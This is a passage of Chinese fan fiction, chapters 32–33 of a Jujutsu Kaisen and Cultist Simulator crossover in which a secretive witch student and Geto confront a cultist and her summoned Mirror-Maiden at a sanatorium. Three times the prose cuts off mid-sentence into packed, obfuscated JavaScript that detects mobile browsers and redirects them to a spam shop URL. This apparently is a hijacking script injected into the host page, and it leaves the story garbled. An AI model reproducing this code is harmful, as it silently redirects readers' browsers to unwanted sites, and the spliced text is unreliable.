“太危险了,就算你们是来调查的,也应当遵从主家的决定。哪有调查员自己秘密行事的?!”他的拒绝倒是能看出法官父亲的影子,至少和你在电视里看到的很像。反正你又没见过他父亲,也没见过真的法官发言。 你表现得比你实际上委屈:“真遗憾,我以为我们关系不错。” “……” “不过还有另一件遗憾的事情。”你坐进车子里,凑到他耳边,一门之隔,玻璃隔绝了硝子的视听,而这才是你的选择对他露出的真面目。俏皮一笑:“这事情吧,我不是在征询你的意见。” 数十秒后,你一脸喜色探出窗外:“太好了,他愿意载我们一程。” 夏油杰神色复杂地看你:“……” 在上车后他坚持认为你应该坐在后排,为此不惜请自己唯一清醒的同窗前排落座。 “我知道你们,你们有秘密。”硝子最后看了眼身上的华服金饰:“那这些……希望他们不要以为我们是卷款逃逸。” 贵重的宝物也没留下你们。 车在雪被撒上盐的国道呼啸而过。 你坐在后排最右边,通过车内的镜子能看见司机看似专注实则无神的双眼。中间是夏油杰,五条在左边。你将藏在裙摆里的衬衫和裤子递给他:“帮我拿一会。我看会电脑。” 他深紫色的眼眸中酝酿风暴,低头看这身普通棉上下装的材质:“你还带了更换的衣服?这不是校服。” “当然,高专的校服换下后被他们统一收走了。这是我在后勤人员休息房间找到的,白衬衫黑西裤,我没拿围裙。”你掀开电脑屏幕,背上的灰已经被你拂去一遍,现在触之干净整洁。 在你等界面的圆圈转啊转的时候,夏油声音听不出情绪:“你上厕所效率挺高的。” 他生气了,是从哪个节点呢?从你下午去湖上转了一圈,从你对他的头脑明褒暗贬,从你在那之后紧锣密鼓地送五条悟进入沉睡…… 今天如果要圆谎,那也是个大工程。你冷静地延迟其发生:“过些时候我和夏油前辈去找近藤小姐,硝子前辈你就在附近和五条前辈一起好吗?今晚真是劳烦……” 你像老光碟一样卡顿结巴,你忘记了给你开车的驾驶员名讳,他一定提及过,可惜没过你的脑子。好在他持有驾照,因此肯定18岁,你假装咳嗽后加上:“前辈,愿意开车送我们了。不然岩守女士不好向上交代。” 托三位前辈们的福,你已经很习惯喊小朋友们叫前辈了。 硝子:“我们都走了她就好交代了吗?” “她是辅助监督,管不住咒术师总监部也不会诘难她。总比开车伙同我们一行离开好。”你说完这句话扯了扯靠的不远的夏油衣袖。 他有所察觉,看了你一眼,然后抽开了。 好在他也还愿意助你推迟:“嗯,铃木和我去看察情况,疗养院那里可能情况有变。” 识大体,好人。 你眼神回到屏幕上,有些惊讶地“啊”了一声。不是,它怎么还有密码啊! 屏幕的背景有字,可你没见过密码跳出的窗口,也不知道如何令它隐形。 你在页面上胡乱操作了一通。耗时几分钟,一无所获。你的瞎忙活也得到了夏油的注意。 “你想做什么?” “有办法让密码框消失吗?我想看屏幕后面的字。屏保。”你精确了自己的说法。你认为,如果有关键信息,那么它大抵可能出现在电脑上。 虽然,从笔记上看,近藤青,笨拙的学徒--似乎已经被她的导师骗的连命都快没了。 夏油杰竟然是个会用电子设备的人,倒不是说他看上去像原始人,只是在以前的交往中你没有意识到他能熟练地掌握电脑。不过代价是,电脑到了他的腿上。 ……即使在密码解开后他也没还给你。 Crtl+shift键就是问题的答案。 你向左靠近些许,看清了黑底白字的问题:【何处觅仁慈?】 乍一看是令人摸不着头脑的问题,可你记得清清楚楚,这是自称具名者的格里比喜好在牡鹿之门门口守门时提的为难入梦者的谜题之一,答案自然你也知晓。 你盯着屏幕发愣,心里盘算着,这下沐光明者的真面目也就自我揭示:一位灯之长生者,企图在漫宿居屋中继续攀升,祂将目光投向醒时世界的凡人,利用她,欺骗她,允诺他凡力所不能及的好处,然后…… 夏油杰出声问你:“你有头绪吗?密码。” “知道,你把电脑--前辈你怎么还把它藏到那边去?” 他听不出情绪地说:“没事,我来。” 你念:“s-h-a-d-o-w,如果不对就改成大写再试。” 他右手扶着电脑,单手输入。明明是右利手,这样分明就是拦着你。看来今晚发生的事情远超出他意料,这一切……你倚在松软的靠背上,从夏油弓着腰和座椅的缝隙往左看,五条悟的睡颜在车内模糊不清,但你不必想也知道,那也一定是一幅美好的画面。所以,到底是谁把这个大少爷放出来的? 如果五条不离开休息室,硝子也不用跟过来,留几个同阵营的在现场进行遮掩和镇场总是好事,可惜现实总不如预想。你本可以在夏油面前小露一手点火的把戏,再对弓道社长晓之以理,现在不必要的信息泄露多了,时间也不够你发挥激励鼓舞才能,你的形象瞬间可怖了起来。 夏油说不定会觉得你是掌握能力又不约束使用的□□,或者觉得你能勾勾手指就让别人失去意识,联想到自己身上又感到后怕,总之他现在彬彬有礼,但像对陌生人那样戒备。 如果他在一开始也不跟上来……唔。 造化弄人。 回车键按下后,他微笑看你,唇角上扬如狐狸假面,弧度被匠人描摹了千万遍:“铃木同学,请问你是怎么知道的呢?” 敬语、谦辞、弦乐婉转的语调、工匠精神的微笑。 你直视他深紫的双眼,遮掩无用,只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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直到又过了一段时间,电脑传来低电量的提示音,那时夏油恰好愿意共享了,将屏幕对你转了转:“这应该是近藤小姐和她的女友,她们在对着镜头说话,我想放出声音听一听。” 你的目光从夜色游移回低光线的电脑屏,上面出境的书册有深蓝色封皮,你看不清。然而你印象中有些与它相似的关联品:“她们看样子要跳大神,你听吧。” 说回两个同性恨召唤出的大宝贝,你心中初步的推断是镜中少女。冷冽,以刀为武器,又和守夜人有关。进入漫宿的亡灵若能得以攀爬上利刃阶梯而不灭,就能得到残阳的嘉赏,侍奉其左右。而利刃阶梯又是守夜人考研中最为冷酷的一环…… 不过说起镜中少女啊…… 你不是故意的,镜中少女名讳带凌冽的杀意,颜色也艳丽,只不过相处起来吧--当她们消散或不敌而死亡的时候,会保留一些不好的东西,你总会忍不住想到因外力压迫而分泌臭气的一些动物和昆虫。 她留下的东西偶尔致命,她会带来恐惧。 夏油杰放出的视频中,背景音是鼓声大作,听得你皱起眉头,她们嗡嗡嗡嗡的念诵就像苍蝇展翅,不过你还是能从里头听出几声语焉不详的日语发音。你稍作分析,意识到她们说的是【路为玻璃,墙为刀刃,步步见血。】 果然是召唤镜女的悼词。 就是不知道这些拉美的鼓点是什么意思,氛围感点缀吗?你仰起头。 真好啊,有些长生者,引诱一个凡人替自己鞍前马后,钓根永远吃不上的胡萝卜,0指导0启示,还让对方津津乐道,带着追随者一起献祭自己为数不多的阳寿。 你这边孑然一身冷冷清清,做了几件不闹出人命的事情还要被人质疑。 心里有个声音指导你:如果你想,你也可以。 你兴趣缺缺地看了一眼夏油杰,他的目光里是费解,你又看了眼硝子,她脸上是震惊。【我们真的要因为普通人的小打小闹奔波半个城市吗?】她似乎想说这个。 算了,来了咒术高专,你就定型了。摊上了一些有良心的人,你也随波逐流,照葫芦画瓢行事。 夏油杰最终静了音,连带关了视频。“看不出有效信息。”他说。 你草草回应一声:“嗯。” 即将抵达疗养院的时候,也许是有人发现了不对,也许你们跑路的事情彻底败露。从你到硝子再到夏油的手机响了个遍,来电信息岩守。 无人接听。 高跟鞋很贵,上面有珠宝,裙子--你在车上换了衣服。 “劳驾,把内视镜合一下。”你扯下颈后系带,胸前的布料因缺乏拉扯的力量而片片抖落,你及时套上系好扣子的白衬衫。 等硝子回过头来看你的时候,你已经系好了先前因要套头而松开的衬衫上三颗扣子。 她复述一遍:“喔,你就在男人堆里脱了又穿了衬衫。” 首先,你是先穿衬衫再解系带的;其次,后面没了。你说:“没什么,五条前辈还在睡觉,夏油前辈在我扯带子的时候就把头转过去了。疗养院那边……如果不幸乱斗,我不想把污渍溅到很贵的衣服上。”时间紧急且人手所能携带的东西有限,你没鞋。 电脑早就没电了,现在它在睡死过去的五条悟腿上,而夏油杰膝盖也朝那边靠拢,不敢回头看你:“……” 你又在这样的情况下套上了裤子,然后一点点把裙子褪下腿。 整个过程不过几十秒。 现在,你是一个新上岗的西裤女仆了,你用她们的发网兜住了大部分长发,只差一个白花边的黑色发箍。 你最后打理仪表着装,卷好袖子裤脚,将衣服下摆推到裤腰:“希望近藤小姐看到我就能像回家一样。” 硝子还和你还有同伴之间的情谊,她也还幽默:“呃,我觉得不会。”她这么说。 你和她的关系相比较两位男性更亲密,不过她比他们更加适应良好,也许她隐约对你的神秘有预感,可她不窥探,不多谈。好奇,害死猫。 至少夏油杰在物种上和五条悟达成了一致,你在车扶手上支起胳膊,手背托着下巴,你想,要不他们两个怎么是好朋友呢。 一小时前你说的话又在脑中回放,之前是出于怜悯和同情,你期待夏油杰笨一点,现在则是切身利益相关--如果夏油杰探究太过,你也会困扰的。 不过……你看见他在夜幕下心事重重的倦容,还有阴影下的青黑泪沟。你认为,不是他的错。 32.第 32 章 你贴心的把硝子和五条捎到了疗养院百米外的一个居酒屋,或者说,她可以享用无人惊扰的晚餐的地方。 “前辈,你先下来吃点东西,我刚在口袋里搜到了5000.你吃点好的。” 硝子从座椅夹缝伸出手,抓了抓:“你这衣服什么来头?” “嗯……说来话长。”也就是说,来路不明,经不起细讲。 你转而招呼夏油杰:“夏油前辈,你帮忙把五条前辈送出去好吗?我就在门口等你。” 他直到你殷勤的关上车门前一刻还在和你对视,像是怕你直接消失了。 你当然没有消失,你还帮驾驶员小哥抹除了今晚的一切痕迹。 除你外无一人的后座方便你摊开手翘起腿,方才三人的拥挤地方只留一人独享。 你收拾好东西,将它们一股脑揽在怀里,并为情非得已的好心人送上最后的临别赠言:“今晚我们跳了舞,你对我有些兴趣,可我没有。你是个受欢迎的人,因此难得受挫。” “不过总会有这样的时刻,你安慰自己,聊胜于无。出去吹风以后,你感觉好不少,你突发奇想,还有什么比出去兜一圈更好的消愁方式呢?” “没有女伴,没有酒精,只有簌簌落下的雪花和凛冽的风,天与地之间的一切奥秘尽在其中,于是……你出发了。” “再见,真治。祝你长命百岁。”你关上车门,这就是你这几分钟想起来的他的名字。 太烂大街了,虽然好听,也容易忘,这次用完估计就再也用不上了。光脚踩雪的感觉比你捂着夏油杰的嘴,然后被五条悟发现还刺激。 你回头,正好看见撩起帘子从空调房里走出来的夏油,你的手里还拿捧着衣服,腋下夹笔记本。 “走么?一小段路,用不着开车。”你率先发出邀请。 “……”他先踏上往疗养院的小路,你跟在后头。 路上只有他的脚步声,因为你没鞋穿,众所周知即便是长生者的肉,也是软的。 你们已经能看到夜晚还明亮的大堂和漂亮玻璃门了,他先问你:“你有什么想说的吗?” 你说:“没有,你为什么要这么问?” “为什么?铃木,你真的要问我吗?” “当然,我不明白,你突然戒备心好强,夏油前辈。是我做了什么让你不开心?” 他停下脚步,转身和你面对面。 “你这样说好像是我的问题,这就是你的目的?”夏油不满足于此,还向前走了两步,低头瞧你,现在他也是个用身高压人的家伙了:“悟说,你很会装可怜。” 生气的时候也不忘拉同期下水,你没感受到攻击性,倒是被幽默了片刻。然后你答:“哦,那五条前辈背地里偷偷说了不少我的坏话,现在看来奏效了。” 你们在今晚共同领悟了一个道理,不在场的人天生就是用来说嘴的。 他是徒劳追逐不希望事情失控的狡猾狐狸猎手,你是一尾被盯上但是灵巧的游鱼,他尚且做不出能裹住你的网。 你深知这一点。 “我是怎么让五条前辈睡着的,你是想问这个吗?”你自顾自地说明起来:“念了一段艰深的咒文,他无意抵抗,仅此而已。六眼和无下限不妨碍他会因为其他类型的术法而倒下,你能理解的吧。” “还有那束火球。” “女巫的不传之秘。”事情开端以后,剩下的就像故事一样编织出来,你的唇齿和咽喉就是上好的织机:“还记得我和你说过的【死于焚烧的或许并非女巫】吗,事实上,控火也是我们中的部分人会学习的秘法。你也看见我是如何开启房门的,夏油前辈,情容我问你,你认为那像是很熟练的样子吗?” “……确实生疏。那跳舞的舞伴又是怎么回事,你有计划地利用了他。” “他会开车,前辈,我没让他受到任何影响。近藤宅邸的人只知道我们离开,而咒术界不会责问普通人,我是--” 夏油杰不是笨蛋,他抓住了一个你的薄弱处,打断:“你在跳舞的时候就开始计划离开了。” 他在这里略占上风,不过……即便在狭窄处,也有容你通过的那一条水道。你知道水流的方向。 “男仆告诉我,仆从们都很害怕她,因为她醉心于研究黑魔法,他们怀疑是某种不为人知的禁忌仪式葬送了同好者女友的性命。”你低下头,眼睛里闪烁着名为谎言的光。一个优雅的调酒师擅长用现有的原料调和一杯能迷醉人的佳酿,你在几声呼吸的静默后接着开口:“中午,我问他了,他让我问管家。下午,我看见了管家,前辈,你能告诉我,管家的样子还和我们初见时一样嚣张吗?还是说,他变得谨慎、礼貌,也不敢多话?” 你在暗示一件从未发生的事情,暗示你早就发现另有隐情,只是事情既在普通人认知之外,又在咒术师视野之外:“为什么窗什么也看不出,为什么模特死相凄惨,前辈,你是相信他们什么也没隐瞒,还是信我是活了一百多年渴求隐世之力的密教信众?” 他不知道你偶尔也能表现得这么能言善辩,而且观点明确:“……” “如果你不想过去,她虽然会死,你也不必感到愧疚。她挺坏的,比我坏,还没我聪明。这是实话。”灯的登升路径即便行之有效,也不是你要走的路,更何况近藤不过是个莽撞无情的空想家,做梦也梦不到好的。 即便你见不到她,就让她被召唤出来的残暴镜女吞噬也无干。 至于夏油……他的同情摇摇欲坠,而且本也不会分给加害者,至少他不会觉得自己过着好日子就错过了施救时机而导致一个无辜人死去。 你最后说:“等举行仪式的人和追随者都死亡,召唤物也会回归本属于它的地方,咒术师和辅助监督们都会没事的。” 你把这一切都想好了,也如期说了出口,反倒显得你更加心思深沉。 你没有抬头,但夏油看你的眼神太浓烈,质疑,探究,思虑氤氲出乌云,你静候他的回音。 他评估你话中真假,你不介意他的打量。在你心中,他连试图拉下脸来的时候都看起来游移不定,生怕冤枉了人的样子。 “到时候,你跟在我后面,铃木。” 这就是不信赖的滋味,你觉得还好。你说:“好。” 和你同行,夏油杰的话少了起来,好在你比他更擅长静默。 接下来的事情就由他来主导,你做陪衬。 他喜欢传统方法--如普通人一样走至前台--这在大半夜显然不寻常,你们自然受到了礼貌但警惕的询问;他电话联系身在楼上对此一无所知的咒术师,你抽空给前台报了楼层:“这几天新进的近藤小姐,8层。我们是新增的护卫人员。你应该记得她,精神恍惚,没有家族病史,阵仗大得惊人,吵吵闹闹疯疯癫癫的。”你这句话引来了正在电话联系的前辈侧目,他像是在问你【你怎么知道她在哪?】 五分钟后,电梯下行至一层,西装革履的辅助监督前来接应:“夏油君,请和我来。” 高情商,这时候要是喊【同学你怎么来这】,你们恐怕就上不去了。 特级的知名度允许他做出一些逾越流程的行为,而辅助监督们也愿意买账。你在这间隙里已经填好访客信息,事由写的护卫增补。你获得了两个临时身份牌,一个挂在颈间,另一个递给前辈。 他接过,但脚步不停,越过你走在了前面。 直到进电梯,辅助监督才意识到你的着装既有季节时差又有缺漏:“铃木同学,你为什么没穿鞋?” 你镇定回答:“好问题,过会我去楼上导医台偷双拖鞋。” “……”他也是第一次见你,不知道你是那种回答问题配合度不高的学生。 到目标楼层耗费时间并不多,你在出电梯门后真的就没跟上径直往病房走的两位,而是指节扣响导医台的桌面,原本昏昏欲睡的护士对你投来温柔的视线:“你好,请问有什么需要--” “我的鞋丢了,能给一双病号鞋给我吗?”勇敢的人先享受棉拖鞋。 “……” 于是,你拥有了一双比酒店拖鞋质量更好的一次性拖鞋。你的脚步仍然悄无声息,向走廊深处走去。 定位比预想中顺畅许多。 “滚啊!”你听见女人尖叫的沙哑嗓音。看见辅助监督被你的前辈揽着躲过了一杯接着水的硅胶水杯,深色的茶渍污了白墙。 她应激得厉害。 你走上前去,探出门框,看见双眼通红伏在椅背上喘气的瘦削女人。她头发干枯,脸颊和锁骨凹陷,一眼看去像皮囊附在白骨上。房间内设一应涂为压抑的白色,并不使身在其中的人心情放松,至少你从她深陷柔软椅背的手指看出,她相当紧绷。 “你是谁?”蓝色系带的身份牌和你半个身子一起出现在了她视野里,近藤喘着粗气看你。 “咒术师。派来保护你的,我的前辈是特级,我是……我们刚从宴会上过来。”这时同性的亲和力就显现出来,也可能是得益于你身上的服制:“初次见面--” “铃木。”夏油杰限制了你的发挥。你的后脑勺被一个坚实的硬面贴上,是他的臂膀。 现在,有了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13687835|144086||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一个容易被忽略的问题。至少你忽略了它。夏油询问辅助监督:“本该在这里的咒术师是?” …… 答案随即揭晓,他在隔壁睡觉,这个地方的隔音很好,也许,太好了。 辅助监督先生小声的宣告了原本属于近藤的死亡:“近藤女士可能更多地遭受了心理上的……周围的三级和四级已经尽数祓除,房间里也排查完了尖锐器物……明天早上我们还有别的安排。” 生死有命,富贵在天。 你无所事事的样子也显露在行动中,让相对无言的两个人中新来的一个更加难堪。 供需不平衡偶尔会导致一些【摩擦性】事故,如果数据汇总的伤亡报告由你来撰写,你就会这么形容。 最后,夏油请辅助监督也去一边休息了,到头来,还是只剩下你们两个。 外加一个近藤青。 她一个半吊子现在也开始瞧不上你们了:“我看你们比之前那个还年轻。听了这么多,其实你们也一无所知吧?” 一般来说你是对这种程度的挑拨瞧不上眼的,但你又见到了夏油杰不敢对普通人出口恶言的窝囊面貌,虽然他本人或许不会如此形容自己,而且,他还不想让你说话。 你愿意做一些把两个人都惹毛的事情。 你像攀岩者扶住横斜的石缘那样撑开了夏油杰的手臂,从侧面探出了小半个头:“如果你得了一种病,命不久矣。医生说【我们正在尽力诊断】,你也会把对现代医学的嘲讽放在生命走到尽头的悲哀之前吗?” 这可不行啊,人的死亡是分层的,亡者也能死得再死一些,不过从生到死的那一过程很难逆转。 你认为她既然也追求虚妄的辉光,就不可能顺从接纳死亡。 她出言讥讽:“你是什么东西,也敢自称医生?等你深埋六尺之下,我还会好好活着。” “不敢不敢,有志青年而已。”你语调凉凉的,不计较她的痴心妄想:“如果我是你,我会害怕的。” 你说这句话并非无的放矢。看了眼手机,意有所指,精准报丧:“现在是23:46,距离圣诞节还有14分钟。平安夜就快过去了。” 她的女友在上周死亡,算起来遗留的反叛召唤物也就是这段时间会进行下一次行动。 你才不会才一开始就揭露底牌,而且……夏油不需要知道更多了。你在她惊慌的面容下询问:“现在,我们重新认识一下好么?女士,听说你需要帮忙?” 恐惧所以杯弓蛇影,在接下来的几分钟里,她对夏油的安排服从度很高,举止妥当。 而他不理你,对近藤倒是温和得很。 你就站在门口被泼茶渍的墙边看他们一个虚情假意地作答,一个也不真心关切地提问。他们两在各自的领域里都遭遇了不少的消耗,而做了更多但愧疚更少的近藤在社交中获得了更多安全感。 “没事,不用过来清理,她晚点可能还要扔东西出来。就快圣诞节了,小姐,节日快乐。”作为边缘人,打杂工,你也请离了一位护士。 你还听他们在房间里说:“我不知道她怎么就死了,但是这和我一点关系也没有。他们都怕我,排斥我,认为只是我疯了。但我发誓,我发誓,夏油先生,我和这些恶灵毫无关系,偏偏他们就纠缠了我。” “我知道,近藤小姐,希望你能冷静,先松开我的手,好吗?” 她的力道已经超越常人,你想夏油杰作为被攥着的人应当更明白这点,她指节发白,指尖通红,他手腕被她尖锐的指甲刺入皮肤,已经能见血。 血啊…… 一个有趣的事实,在普世化的东西方,乃至于南美非洲那些地方,血都在神秘学相关学科中扮演重要媒介。 “夏油先生,请救救我。” “您是特级咒术师,无论如何都会保护我的是不是?” “我真的,真的,很害怕。” “……”夏油杰在这个时候终于愿意回头分给你一个眼神,他总算记得自己还有个同伴。可是他却对你说:“铃木,你过来在近藤女士左右,到时候就交给我对付。” 然后他认真向眼前枯槁的人承诺:“是,我会把你的安全放在第一位。女士,你不会有事。” 他不爱吃苦瓜,却要以健康为借口强逼自己咽下,在入口和吞咽的过程之外,他还要强撑着说【都是为了身体】 你认错了人。 原来,今天夏油杰才是你的祖宗。他要把你们都发卖了,送给近藤青当祭品和替死鬼。 在下一个世纪到来之前,你都不会忘记他。 33.第 33 章 你贴心地对他说了那么多,编了那么多可信的说辞,你还说近藤青死有余辜。现在,夏油让你进去帮忙安抚这个定时炸弹的情绪。【我会把你的安全放在第一位。】 你可能有点低估他的良心了。 如果他知道你才是最初那起案件的罪魁祸首,他会不会也能完全谅解你?也许吧。你撇了撇嘴,推墙移动定在角落的身躯,你听从吩咐走进了那扇白色的门框。 现在是23:57,离明天到来还有3分钟。 你的加入让神色紧张的女人双手颤抖。她低着头,不露出脸来,你却知道,她多半是在兴奋,至于验证……等圣诞到来一切都会揭晓。 夏油杰扭动手腕。又一次挣脱的尝试,这次,他成功了:“别担心,女士,铃木也是一名优秀的咒术师,不过今天交给我就可以。” 你看到他手腕上的伤口,白色的手印和红色的血珠,他一转手腕把胳膊缩进袖子里了。这个时候,他还敢给你一个吝啬勾起的唇角。 不知怎么地他开始安抚你了。 你冷酷地也对他扬起微笑。百言无用,你不打算再泄露更多,你相信他能够很好地抵御镜中少女,只不过在那之后……你推测他最终也能度过一段时间的后遗症影响。过程,就不见得顺畅了。 你在近藤的建议下拉开窗帘,露出惨白的月光,地上的建筑被笼罩其下。在你们身后,象征死亡的魂灵在暗中浮现,逼近。月光一样的发丝从镜中旋转,像酒店的旋转门,她从镜子里的一侧穿越,通往世界的一个入口,跨越漫宿与此间的界限如约前来收割他。 然后是淡蓝色似乎还在发光的皮肤,和淡白至极的双眼。整个过程,比起攀爬,更像玉蕊破土。 你在听见近藤的惊呼后转身,夏油杰背对着你们,朝向房门那侧的小柜,镜中少女的身上不存在任何咒力--显而易见。如此超自然的生灵,除你以外的人都分外警觉。 夏油召唤出了玉藻前,足以应证他的认真。他试图挡在两位女士面前,还在你面前留了一圈咒灵。很绅士,但全无必要,因为她本就是奔他而来。 一些私密的血液,一个正明二者关系的守护者承诺,夏油杰在无意之间立下了被漫宿承认的契约,他,无意识地成为了被认可的近藤的追随者。 她不加掩饰的恐慌,颤颤巍巍像蒲草一样易折的语调,还有得手之后顺其自然地止歇。表现得不像是第一次生疏行事,你猜无论之前有多少人被她以此手段哄骗,那位事情最开始的受害者--模特,都为其中之一。现在,她选定了夏油杰做下一位替死者,宛如伥鬼。 在镜女又一次得手后,她又能得到一段时间的喘息。 你对近藤青的评价现在是:一个热衷冒险、没有良知、只有一点聪明的学徒。她的行为不足以匹配她的野心,失败也是意料之中的事情。 显然,夏油杰不会被一个随从打倒,再不济也还是特级,更何况他的术式珍贵,前途明朗。镜中少女的动作很快,抬手挥刀都扩散着周身严寒的气息,中央空调像失控了一样转冷库模式。 房间冷如冰窟,在镜女信手打破了一闪落地窗又【消抹】了一个咒灵后更是如此。离地几十米的冷风哗啦啦地往你们这个风口里吹,窗帘似旗帜翻涌,书桌上的纸页如雪片飘摇。 诅咒只能被诅咒杀死,但有些东西的存在,本身就是无形的诅咒了。 夏油杰惊讶的表情定格在你眼眶中,一个呼吸的时间内,你证实了小继承人的力气确实很大,她就在你身边,手伸到身后推了你一下。 时间刚好就在破窗后。 你是多米诺骨牌的首位,也是能被轻易撂倒的一位,她大概是这么想的。 可你只是在后仰时移开与你愚蠢的前辈对接的视线,轻扫出手果决的这位人中杜鹃鸟一眼。眼中,她的呆滞就和周围一地狼藉的背景一样静止。你伸手借窗帘的力在摇摇欲坠中沿弧线扫了小半圈,回到室内站定。 紧接着,你也伸出手,像她推你那样轻轻扯了她的衣袖。 不过很显然,你作为一个没站稳的人,随手扯些东西借力,再正当不过了。 “……”夏油杰来不及对你说话就转身去抵御力图刀刀见血的高效杀手,刀刃和棍棒之间的錚鸣在房间里节奏不一地响起,你就在他转身的间隙又往旁边踢了几块碎玻璃。 她的身体先因缺乏平衡而后仰,再之后是鸟儿一样展翅的双臂,这一切都无济于事,她的上半胸膛最终随背脊狠狠地撞在地上而悬空,现在,她的手和腰上也因为玻璃渣的摩擦而受伤。 细小的划痕和从泉眼中淙淙流淌的红水,近藤青的伤口是一道通行证,散发恐慌,也允许你的来访。 有关夏油杰的一切动静都在你和她的二人世界中淡去,你往窗边走一步,她就像后退,然而在那之后是几十米高的悬崖。 “你做好准备下坠了吗?”你问她,她就停下。 “我……我是无意的,铃木小姐。”她开口求饶,语调惊惶。 你还没停下脚步,无声向她逼近:“哦,我知道,你是个可怜的受害者。” 接下来的一句声音小得多,似乎只有你们两人能听见:“只不过有件事情,关于你的主人的,通晓万物的沐光明者有没有托梦给你,告诉你他的终点是辉光,你的则是死亡?” 撕裂万物的创伤,其肇始也不过是一道小小的裂隙,有关你的女巫身份,有关你想保密的事项,事与愿违地正在变得越来越大条。这些非你所愿,非你所想。 但是做得更多搞不好也只是让你在事与愿违的道路上扬帆起航,俄狄浦斯王就是这么干的,后来他死了。你思忖数秒,决定把选择权送给命运,让它自我推演。 最多,你只是恰到好处地,作为知情人,不太友善地,提醒一下。 近藤的脸像陶瓷面具破裂一样分成了很多块,情绪和表情拼贴其间:“……什么?!” 你也问她:“什么?我拉你起来,你别乱动。”好像你刚才什么都没多说一样。 “你说--” 你在转身后也换了一副面孔,对她挤眉弄眼,露出狡猾的戏谑:“你没听错。”你接着向她展示只有一个观众的口型表演【去向祂证实啊】 你处在一个巧妙的位置,监控摄像头能拍到你的后背,能拍到她的表情,但你的脸只在月光下晃荡,嘴唇开合也只有她能瞧见。 具名者的晋升不仅要面对漫宿中诸多红眼病和有其他思虑的灵体或实体阻拦,而且,如同大部分凡人的飞升一样--需要祭品。不择手段的人有很多种,近藤青,在你看来,她不是会为了别人拼命的类型。 你还好意拽住她的手,她的掌心渗出血液,有玻璃扎入。你低头捻起碎玻璃,帮她愈合了伤口。借着以不容抗拒的力道拽她站了起来。趁这一两秒的间隙,你又只让她一个人听见:“如果我是你,从一开始就不会听信梦中人的谗言。你是否听过一个词,叫做鬼话连篇?” 她吓得不轻,而你管这叫点到即止,接下来她要做的事情,那就完全归于命运了。 你将惊魂不定的富家女人安顿在洁白的床榻上,冬天的风像刀刮,但她仍然处在房间里最安全舒适的地方。回过头,夏油的战斗也接近尾声。 镜中少女的血早在攀爬利刃阶梯的时候就流干了,因而受伤的她们皮肤上只有惨白的缝隙,宛若被划一刀的油画,再逼真也不过一张皮,破裂也流不出血。凡间的疼痛也并不使她们认为难捱,即使最后的最后,代价是死亡,她们的表情也就只有淡漠而已。 这么说来其实她们才更像ai,她们早就丧失了相当程度的自我,现在,只是残阳(司辰)响应凡人召唤的延伸而已,运气好就依命行事,运气不好就如现在这样追杀召唤者和其追随者,定期行动,至死方休。 五条悟是没见过司辰和其他生物才这样说你的。 你试图在坏事发生之前警醒你现在已经精神不健康的前辈。 “夏油前辈,召唤物已经没有反抗的能力了,接下来就交给我吧?”漫宿很大。残阳是残阳,蜘蛛之门是蜘蛛之门,或许你就业的地方还能收她。镜女消亡的时候会留下恐惧,处理不当还会转变为绝望,再后来……就是死亡。 你自然能妥善处理好,这是双赢,就像训练有素的快刀能精巧处理河豚那样。 可他往你前往的方向拦了一下,半偏过头问你:“铃木,我真的能相信你吗?” “为什么不能呢?”你也半歪着头脑,认真问他。 他的头完全回了过来,被他驱使的咒灵则是将镜女团团围住,连你的视线也被遮挡,他一字一句向你重复:“【关于你的主人的,通晓万物的沐光明者有没有托梦给你,告诉你他的终点是辉光,你的则是死亡?】这是什么意思?” 整个咒术高专就是一个巨大的窃听风云。 他在作战期间也分神到你身上,不幸监听到了你被拉下水后的一句凶言凶语。现在,稀薄的信赖遇到了怀疑的风暴,在台风天的阳台上就要展翅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“前辈,任务应该到这里就结束了。我联系硝子前辈,过会我们去找她。过会再和岩守女士说明一下情况,让总监部那边也不用担心。” 你不打算再和近藤青说一句话,房间内的事务完全交给夏油。说完这句话你就拧开反锁的门,走进灯光微弱的走廊,把寒风凛冽的环境留给两个加起来都不如一个正常人完整的伤员。 双重精神损伤。 他们的损害都不会使得你增益,不过你还是因此勾起了唇角。你先给硝子发去了捷报信息,同时迈开步履到诊疗台,告知了此房间的防弹玻璃看来仍然不够好用,现在,你们需要额外的两件房间度过今夜。 值班的护士小姐看起来还以为自己在梦中,惺忪着眼向你发问:“怎么可能呢?” 你们的身份在这不是秘密,无非就是除妖师之类的,给了你许多发挥空间:“孽物造就的,不是你们的问题。” 辅助监督在安全通道门口的椅子上坐着,撑着下巴睡着了。这个姿势有些伤腰,也不符合人体工学,他这么做一定是困了。 “……”护士小姐不敢多问,在你装作不知的时候又多看了你两眼,就打开电脑开始查询相关信息。 你倚在旁边又加了一句:“对了,这些都近藤家掏钱,选最好的。” “……好的,女士。” 令人遗憾的是,本层楼只有一间空房,而高端的疗养院也不是休假的地方,她这台电脑管不到楼下。 显然,近藤女士喜提一个新房间,而夏油杰还得和你走一段路和硝子汇合。 将这个好消息告诉他们的时候,前者用呆滞的目光看你,还没从午夜惊魂里走出来,而后者根本没在听。 “所以,近藤女士,你可以移步隔壁了。”你冲门外努努嘴:“祝你生活愉快。” 如此,这就算是告别。 